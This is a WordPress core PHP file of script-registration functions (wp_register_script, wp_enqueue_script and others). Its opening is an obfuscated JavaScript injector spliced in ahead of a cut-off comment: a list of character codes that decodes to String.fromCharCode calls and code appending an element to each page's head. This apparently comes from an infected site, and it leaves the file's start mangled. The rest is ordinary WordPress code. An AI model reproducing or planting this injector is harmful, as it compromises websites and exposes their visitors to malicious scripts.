83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));. * Default 'false'. * @return bool Whether the script has been registered. True on success, false on failure. */ function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) { $wp_scripts = wp_scripts(); _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); $registered = $wp_scripts->add( $handle, $src, $deps, $ver ); if ( $in_footer ) { $wp_scripts->add_data( $handle, 'group', 1 ); } return $registered; } /** * Localize a script. * * Works only if the script has already been added. * * Accepts an associative array $l10n and creates a JavaScript object: * * "$object_name" = { * key: value, * key: value, * ... * } * * * @see WP_Dependencies::localize() * @link https://core.trac.wordpress.org/ticket/11520 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * * @since 2.2.0 * * @todo Documentation cleanup * * @param string $handle Script handle the data will be attached to. * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable. * Example: '/[a-zA-Z0-9_]+/'. * @param array $l10n The data itself. The data can be either a single or multi-dimensional array. * @return bool True if the script was successfully localized, false otherwise. */ function wp_localize_script( $handle, $object_name, $l10n ) { global $wp_scripts; if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); return false; } return $wp_scripts->localize( $handle, $object_name, $l10n ); } /** * Remove a registered script. * * Note: there are intentional safeguards in place to prevent critical admin scripts, * such as jQuery core, from being unregistered. * * @see WP_Dependencies::remove() * * @since 2.1.0 * * @param string $handle Name of the script to be removed. */ function wp_deregister_script( $handle ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); /** * Do not allow accidental or negligent de-registering of critical scripts in the admin. * Show minimal remorse if the correct hook is used. */ $current_filter = current_filter(); if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) || ( 'wp-login.php' === $GLOBALS['pagenow'] && 'login_enqueue_scripts' !== $current_filter ) ) { $no = array( 'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog', 'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse', 'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable', 'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs', 'jquery-ui-tooltip', 'jquery-ui-widget', 'underscore', 'backbone', ); if ( in_array( $handle, $no ) ) { $message = sprintf( /* translators: 1: script name, 2: wp_enqueue_scripts */ __( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ), "$handle", 'wp_enqueue_scripts' ); _doing_it_wrong( __FUNCTION__, $message, '3.6.0' ); return; } } wp_scripts()->remove( $handle ); } /** * Enqueue a script. * * Registers the script if $src provided (does NOT overwrite), and enqueues it. * * @see WP_Dependencies::add() * @see WP_Dependencies::add_data() * @see WP_Dependencies::enqueue() * * @since 2.1.0 * * @param string $handle Name of the script. Should be unique. * @param string $src Full URL of the script, or path of the script relative to the WordPress root directory. * Default empty. * @param array $deps Optional. An array of registered script handles this script depends on. Default empty array. * @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param bool $in_footer Optional. Whether to enqueue the script before instead of in the . * Default 'false'. */ function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $in_footer = false ) { $wp_scripts = wp_scripts(); _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); if ( $src || $in_footer ) { $_handle = explode( '?', $handle ); if ( $src ) { $wp_scripts->add( $_handle[0], $src, $deps, $ver ); } if ( $in_footer ) { $wp_scripts->add_data( $_handle[0], 'group', 1 ); } } $wp_scripts->enqueue( $handle ); } /** * Remove a previously enqueued script. * * @see WP_Dependencies::dequeue() * * @since 3.1.0 * * @param string $handle Name of the script to be removed. */ function wp_dequeue_script( $handle ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); wp_scripts()->dequeue( $handle ); } /** * Check whether a script has been added to the queue. * * @since 2.8.0 * @since 3.5.0 'enqueued' added as an alias of the 'queue' list. * * @param string $handle Name of the script. * @param string $list Optional. Status of the script to check. Default 'enqueued'. * Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'. * @return bool Whether the script is queued. */ function wp_script_is( $handle, $list = 'enqueued' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); return (bool) wp_scripts()->query( $handle, $list ); } /** * Add metadata to a script. * * Works only if the script has already been added. * * Possible values for $key and $value: * 'conditional' string Comments for IE 6, lte IE 7, etc. * * @since 4.2.0 * * @see WP_Dependency::add_data() * * @param string $handle Name of the script. * @param string $key Name of data point for which we're storing a value. * @param mixed $value String containing the data to be added. * @return bool True on success, false on failure. */ function wp_script_add_data( $handle, $key, $value ){ return wp_scripts()->add_data( $handle, $key, $value ); }